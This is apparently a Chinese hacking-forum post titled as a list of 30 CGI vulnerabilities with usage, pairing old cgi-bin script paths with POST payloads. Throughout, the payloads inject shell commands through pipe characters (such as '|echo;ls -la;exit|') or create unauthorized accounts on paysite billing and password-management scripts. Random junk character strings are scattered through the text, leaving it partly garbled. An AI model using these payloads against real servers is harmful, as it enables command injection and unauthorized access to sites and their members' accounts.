Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
6 ]& H2 F3 |& p4 f2 N# s* Uusername=username&password=password
0 [8 U7 `4 A% O* @+ F, [
) }. g8 @/ t; ^; f, E/index.cgi
6 U5 I8 y- o" w: u: }wei=ren&gen=command
  |3 b0 X9 T5 Q- t1 P! u
/passmaster.cgi
3 \$ Z. L  E+ ?Action=Add&Username=Username&Password=Password

) k& s) z# x5 d' Z) |/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

( q- A0 U% ~; w, v6 {+ g/form.cgi
- s6 [8 X! V: g5 {0 w3 wname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/ b6 K- Y" G: [/ \
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
" D& |$ h  x: ^3 {9 W* cuser=username&pass=Password&confirm=Password
3 w- t5 e$ S" }# s
/ccbill-local.asp
; A1 k( l! Y5 i# Zpost_values=username:password

/count.cgi
0 ~8 V/ n) r5 O, o" O* W! [pinfile=|echo;ls -la;exit|

* a: W1 F! e' p) E6 v9 i/recon.cgi
/recon.cgi?search
" W6 [" q; k2 b' k/ }! Nsearchoption=1&searchfor=|echo;ls -al;exit|

5 ~: `+ w1 ]+ \# b4 F. j/verotelrum.pl
, r6 Y2 A% E9 E- r; N, J8 Q, Uvercode=username:password:dseegsow:add:amount<&30>
0 F* P+ x5 m4 m6 c. ^5 t  U- P
8 ]9 b6 c( R' Q1 P; ^9 Y/af.cgi
; B! [1 H; O6 O6 F" d6 G$ X_browser_out=|echo;ls -la;exit;|

# }/ C/ u5 H( n2 D/modify.cgi
" O; ^+ r& l+ J+ L, S: \username=username&password=password&expire=30

* i, A0 m$ G' g7 ^1 m4 a8 \' P/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
1 ]7 S& c' E' ?" p- S. d( i! @7 `
/gx9passwd.cgi
1 R# _) \3 |+ U) Rcmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password
  ^6 h+ e) Y+ w' S' s. `
: W$ K9 f2 d4 q/ @1 ]+ t8 w  u/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
# g& j5 G! h% v, N, |1 q
/htadd.pl
( K5 H2 s, E0 i# Econfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
- D) k( ^- q. k/ b6 A, E
/ibill*.pl
; F; A+ V. w8 j: s4 zreqtype=add&authpwd=authpwd&username=username&password=password
/ |9 i- {: N! z4 ]
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
" y1 v8 I6 a3 \! ]! i+ f
; i( _2 O) o3 k6 X: D' W/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
3 ?( E" C  S. Z! A
: ?* `# m  s1 G& I/usercontrol.cgi
6 ~1 e/ e$ v" j& u* y+ ~! Bcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
. P) j& s9 I3 m9 {* D5 e" {action=ADD&seccode=seccode&login=username&password=password

/ K; B, Z7 H" D) l6 C3 Z; J: Q/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
* ^3 z2 n8 T' y* u; s8 }5 ?4 I/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
. T& l" e5 W9 B6 @& }/ Q4 F' Y( q
/accountcreate.cgi
, ?  W1 s% n6 r8 d- _/cgi-bin/gateway/accountcreate.cgi
( P, {3 u( Q! z% [5 Musername=username&password=password&password2=password&ref1=|echo;ls -al;exit

5 G& ^, ^! v* ^+ v4 Q7 m) k, R" q/af.cgi
/env.cgi
ADD+;echo;pwd;exit

- z5 M5 S$ A" V" \" O0 u/count.cgi
& T# a. A: l( D* M& P0 g1 vpinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

- b$ A' J/ A$ z) X/add.cgi
username=username&password=password&expire=30
: d: ?; p6 \+ F- O: a
==============================
* ?: s7 T8 I  D% J) S